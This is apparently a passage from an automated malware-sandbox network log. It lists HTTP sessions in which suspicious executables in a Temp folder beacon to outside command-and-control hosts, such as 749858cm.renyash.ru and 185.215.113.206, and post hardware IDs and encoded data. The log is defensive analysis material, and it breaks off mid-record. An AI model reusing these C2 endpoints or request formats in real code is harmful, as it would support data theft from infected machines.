4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	50118	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:58.395467043 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:58.757543087 CET	1060	OUT	Data Raw: 58 55 43 55 5c 5b 54 53 5d 5a 59 53 57 58 5a 51 5a 51 5f 58 51 5a 52 48 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUCU\[TS]ZYSWXZQZQ_XQZRHXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ (U>- 3V8$/[#$Y.9$?]/V%"2)=5\"7]*"F"#Y (
Dec 16, 2024 13:17:59.482983112 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:59.724723101 CET	817	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fdl6C8NZ3I1%2Fn2Eos%2BmkrBlKtsPnMt69Ik38SQLral%2Fo%2BWvemA17Iz%2BshsEswVvuTiAw7aUhMy3KMuCYEERkQSW%2Fv1NlYiC%2BD4ni7ebpIu9eN4qDtPLZpIEWklS%2B26QvU1QPBLtn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d09cb938cca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7269&min_rtt=1992&rtt_var=11301&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=33023&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	50125	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:59.681049109 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 13:18:01.013468981 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 13:18:01.166932106 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="build"stok------BGHIIJDGHCBFIECBKEGH--
Dec 16, 2024 13:18:01.606627941 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	50126	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:59.976505995 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:00.327625990 CET	1060	OUT	Data Raw: 5d 50 46 57 5c 5f 54 5e 5d 5a 59 53 57 5a 5a 52 5a 55 5f 5a 51 53 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]PFW\_T^]ZYSWZZRZU_ZQSRCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [),1=['3;'>+\ *4\:Y<+3&T:S>:"$0>"F"#Y
Dec 16, 2024 13:18:01.062421083 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:01.310549974 CET	802	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7OqQ4FXX8LjZAZsI9%2F%2FQrT7eqTteEm1QVM1J7WyCZa0BLYIrYHWLHDgV3nFxXv0jUpAu70Dg%2F4BQqqYj43M6MR9SNfdKNbMK6HivjgRrSxuO9xQ4Wq%2FxhDSNKd2h9PhbMxwQlHul"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d13a8454366-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6760&min_rtt=1606&rtt_var=10911&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=34079&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a Data Ascii: 4<R@X
Dec 16, 2024 13:18:01.502028942 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	50134	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:01.751651049 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:02.098505974 CET	1060	OUT	Data Raw: 58 53 43 57 5c 5a 54 5a 5d 5a 59 53 57 5f 5a 53 5a 5f 5f 5b 51 5f 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XSCW\ZTZ]ZYSW_ZSZ__[Q_RCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#<S==#$ '[(4(_9:7+ 22R*-%^7'=8"F"#Y 4
Dec 16, 2024 13:18:02.836911917 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:03.071480036 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fMwQpD878eb%2FsE%2FNh1BOvTS89SctD%2BxA87W1a6MkuLL%2BYwKs0PM53Ag7fmK%2BgROkj7xwdGdIcEU8HdN7lqzbz5f8xu1qQWOBukcCcdt4glfDpXdoakZ18TbFeu9rIQ6mcOD6f8WC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d1ecd64335a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4131&min_rtt=2066&rtt_var=4905&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=78536&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	50136	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:03.125205040 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1920 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:03.489075899 CET	1920	OUT	Data Raw: 58 5b 43 52 59 5a 54 5d 5d 5a 59 53 57 52 5a 50 5a 56 5f 5e 51 52 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: X[CRYZT]]ZYSWRZPZV_^QRRFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ <)=[<$#(0-' ::#_(%!:U)"7'#X)"F"#Y
Dec 16, 2024 13:18:04.211462021 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:04.454988003 CET	946	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c9RnqSQxBpTKlo3brH2q6Nf0Llx32GhP5PolIV0Y2YKVVKlVACo0kRM80G0Qpl3Z6%2FClA08nDAxJipFfD7UJFauoYFcsop0tBp5vJ2I1Mv7%2B1e9tyNhDUJFV3Fg2cFYWFulWUfHc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d275e4fde95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3989&min_rtt=1633&rtt_var=5326&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2263&delivery_rate=71264&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 3a 0c 30 2e 22 5e 20 3e 3c 0f 29 01 20 54 33 0d 22 04 3b 11 2c 43 26 0d 3e 1e 32 21 3d 13 24 37 33 16 37 21 09 0f 24 0f 02 1c 26 27 23 5d 01 1b 27 0b 26 2e 21 01 29 3f 08 5a 27 30 03 18 24 3e 27 09 26 0a 2f 0f 32 30 3b 1e 35 5e 3e 59 2c 0c 39 01 3f 11 23 14 39 20 21 10 20 14 21 52 0d 13 22 54 26 3b 2e 5f 26 31 2b 12 23 23 3c 00 22 34 20 09 30 12 2b 52 25 2a 09 03 24 2f 2a 12 31 06 3c 00 2a 01 22 53 22 31 37 0b 2b 14 20 52 2c 05 20 50 04 35 54 53 0d 0a Data Ascii: 98:0."^ ><) T3";,C&>2!=$737!$&'#]'&.!)?Z'0$>'&/20;5^>Y,9?#9 ! !R"T&;._&1+##<"4 0+R%$/1<*"S"17+ R, P5TS
Dec 16, 2024 13:18:04.646125078 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	50137	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:03.261740923 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:03.622093916 CET	1060	OUT	Data Raw: 58 55 43 57 59 5a 51 58 5d 5a 59 53 57 5a 5a 5f 5a 53 5f 59 51 5c 52 44 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUCWYZQX]ZYSWZZ_ZS_YQ\RDXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+"W>0<0-0#$Y.*'Y?;&T=(=> 0)("F"#Y
Dec 16, 2024 13:18:04.351404905 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:04.591252089 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=68wpYMP8LbwGyLUFIY4QP2DefCxFqKO2KLyyWpxCOcgCGiU%2B%2Btjm1Xe%2BElGVDpneJo%2B77H5JYFp29OTf18Jp5ujJsS7Bef6jfmcJSmUdNJ7d3SN%2B40upu2TQnqvIUGJRIKnOD1Y9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d2839af7c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4290&min_rtt=1776&rtt_var=5695&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=66681&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	50150	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:04.827009916 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:18:05.181185961 CET	1060	OUT	Data Raw: 58 51 46 53 5c 5a 51 58 5d 5a 59 53 57 58 5a 57 5a 56 5f 54 51 5e 52 48 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XQFS\ZQX]ZYSWXZWZV_TQ^RHXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#)<-=-0%>7\ )#-)#_(3Q&T:=.\ Q#*"F"#Y (
Dec 16, 2024 13:18:05.921099901 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:06.161701918 CET	803	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gsXQ9wFHkgsHSB8LjgrRpGpTMMZp%2FvhruuykWdFVCZ3vh8JBg%2BNWTO4nEM29Uld13YmNWqO%2BZjQMut6EHAyyLinFS0%2BivNzgQEFus%2FDIJBpdbkv85g9LAeZLkwuSkJ4KNJ21ZY9g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d31faf44401-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4010&min_rtt=1567&rtt_var=5474&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=69151&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a Data Ascii: 4<R@X
Dec 16, 2024 13:18:06.353627920 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	50157	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:06.594434977 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:06.956887007 CET	1060	OUT	Data Raw: 5d 52 43 51 5c 5d 54 53 5d 5a 59 53 57 5c 5a 56 5a 5e 5f 54 51 52 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]RCQ\]TS]ZYSW\ZVZ^_TQRRIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ +R>[$33;'=348\9)<+841*X) '?\>8"F"#Y
Dec 16, 2024 13:18:07.680463076 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:07.922837019 CET	806	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1cfxrGu%2F1l9UNmUHnUrRuV1HQ0nSF72uC1jprzeDdQrG5ya%2Bc479JX2N4DDZAbzQQVAO2OinRCZL5oP8OX5qa9khUn4XPyEZQzh4EUb1PlIav6yn%2BTaJ536%2B6d3WpCpv10ET60fa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d3d0af35e82-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4414&min_rtt=2333&rtt_var=5037&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=76906&cwnd=215&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	50158	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:06.953785896 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 13:18:08.296322107 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 13:18:08.305049896 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIDGCFHIEHJJJJECAK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 2d 2d 0d 0a Data Ascii: ------AAFIDGCFHIEHJJJJECAKContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------AAFIDGCFHIEHJJJJECAKContent-Disposition: form-data; name="build"stok------AAFIDGCFHIEHJJJJECAK--
Dec 16, 2024 13:18:08.753699064 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	50159	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:07.050389051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:18:08.383732080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	50168	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:08.175368071 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:08.561789989 CET	1056	OUT	Data Raw: 58 55 43 5d 59 51 54 53 5d 5a 59 53 57 5b 5a 5f 5a 52 5f 54 51 5a 52 47 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUC]YQTS]ZYSW[Z_ZR_TQZRGXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [?<5?>;' X0?4-9+?0$"%>"4?=("F"#Y
Dec 16, 2024 13:18:09.260312080 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:09.502883911 CET	807	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4WA%2FHEoElyZWf3pRaQN56O6KpDOxK5Dq0lWKUOqAeVsUGTe%2Bzfcyh7bjXEPXQapIDfCeLnFZ1CRNnGGPxHN5kqG1m%2BMqvl%2FU5rOEIUpOJX04DrPdh6LZe%2FWOXstQLeRvt7zI3ONZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d46ee08f799-EWR alt-svc: h3=":443"; ma=86400 server-timing: 